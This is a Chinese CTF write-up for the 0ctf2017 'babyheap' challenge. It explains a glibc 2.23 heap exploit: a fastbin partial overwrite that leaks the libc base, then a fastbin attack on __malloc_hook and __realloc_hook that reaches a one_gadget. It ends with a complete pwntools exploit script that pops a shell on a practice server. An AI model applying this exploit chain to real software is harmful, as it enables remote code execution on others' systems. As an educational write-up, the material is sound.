0ctf2017 babyheap
复现了一道非常经典简单的堆题
分两步:
- 泄漏 libc 地址
- fastbin attack 修改 _malloc_hook
有一个堆溢出洞,写内存时没有做长度限制。
观察一下,虽然开启了地址随机化,但是 Chunk 地址的最后一字节总是固定的,这意味着修改低位字节能在不泄漏地址的情况下指向其它 chunk。
可以构造两个 fastbin 中的 chunk1 和 chunk2 ,其中一个 chunk1->fd 指向 chunk2,利用 chunk1 的物理前一个 chunk 修改 chunk1->fd 的最高字节,使其指向将来要放到 unsorted bin 中的 chunk3 (提前分配大于0x80)。
此时: chunk1->fd = chunk3 (将来会放入unsorted bin)
通过 chunk3 物理前一个 chunk 修改chunk3->size 字段, 使其与 chunk1-> size 相等,然后再申请两次 fastbin 得到 chunk3 的内存B。
得到 chunk3 的地址后,将 chunk3->size 还原,再释放 chunk3 ,使其进入 unsorted bin,由于此时 unsorted bin 中只有一个chunk,故 fd 指向 main_arena 中的地址,利用第二次申请 chunk3 内存读取 fd 即可。
- 劫持 _malloc_hook 执行 one_gadget
fastbin 伪造,只要把 size 搞好就行,_malloc_hook 附近有很多 0x7f,malloc 只会检测对齐后的长度,所以 0x7f 是可以用的,用 0x71 伪造 fastbin, 并使其 fd 字段指向 _malloc_hook 附近的 7f 00 00 00 00 前 8 字节地址。
one_gadget 条件不太好满足,大多数对栈有要求
可以进一步利用 realloc_hook 调整栈
即 malloc_hook 设置为 realloc,再由 realloc_hook 跳转到 one_gadget, 这是因为 realloc 头部有很多 push 指令可以调整栈
realloc_hook 与 malloc_hook 相邻,可以一起改写
1 2 3 4
| realloc = libc_base + libc.symbols['realloc'] realloc_off = 0x2 * 2 fill(8, b'A' * 0xb + p64(one_gadget) + p64(realloc + realloc_off))
|
realloc 头部有很多 push 指令可以用于调整栈,加上适当的偏移 realloc_off
就可以控制压栈数量,从而使 one_gadget 条件满足。
另外记录一下 main_arena 偏移获取,题目给的 libc 没有调试符号,symbols 里面没有 main_arena,这种情况就只能自己手动找偏移
用 IDA 打开 libc,定位到 malloc_trim
函数
此处的 3C4B20 即为 main_arena
偏移
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| from pwn import * context.log_level = 'debug' libc_file_name = '/home/pandaos/Projects/pwn/glibc/buu/ubuntu16/libc-2.23.so' ld_file_name = '/home/pandaos/Projects/pwn/glibc/buu/ubuntu16/ld-linux-x86-64.so.2'
libc = ELF(libc_file_name) p = remote('node3.buuoj.cn', 29896)
def alloc(size): p.recvuntil('Command: ') p.sendline('1') p.sendline(str(size))
def fill(idx,payload): p.recvuntil('Command: ') p.sendline('2') p.sendline(str(idx)) p.sendline(str(len(payload))) p.send(payload) def free(idx): p.recvuntil('Command: ') p.sendline('3') p.sendline(str(idx)) def dump(idx): p.recvuntil('Command: ') p.sendline('4') p.sendline(str(idx)) p.recvuntil('Content: \n')
alloc(0x8) alloc(0x8) alloc(0x8) alloc(0x8) alloc(0x80) alloc(0x8)
free(0) free(2) fill(3, b'B' * 0x18 + p64(0x21)) fill(1, b'A' * 0x18 + p64(0x21) + b'\x80') alloc(0x8) alloc(0x8) fill(3, b'B' * 0x18 + p64(0x91)) free(4) dump(2) leak_main_arena_off = u64(p.recvn(8)) leak_main_arena = leak_main_arena_off - 0x58 libc_base = leak_main_arena - 0x3C4B20
print("leak main arena: ", hex(leak_main_arena_off)) print("libc base: ", hex(libc_base))
alloc(0x8) alloc(0x60) alloc(0x8)
free(6) fill(4, b'C' * 0x18 + p64(0x71) + p64(leak_main_arena_off - 0x83 - 8)) alloc(0x60) alloc(0x60)
one_gadget = libc_base + 0xf1147 realloc = libc_base + libc.symbols['realloc'] realloc_off = 0x2 * 2 print("realloc: ", hex(realloc)) print("one gadget: ", hex(one_gadget)) fill(8, b'A' * 0xb + p64(one_gadget) + p64(realloc + realloc_off))
alloc(0x8) p.interactive()
|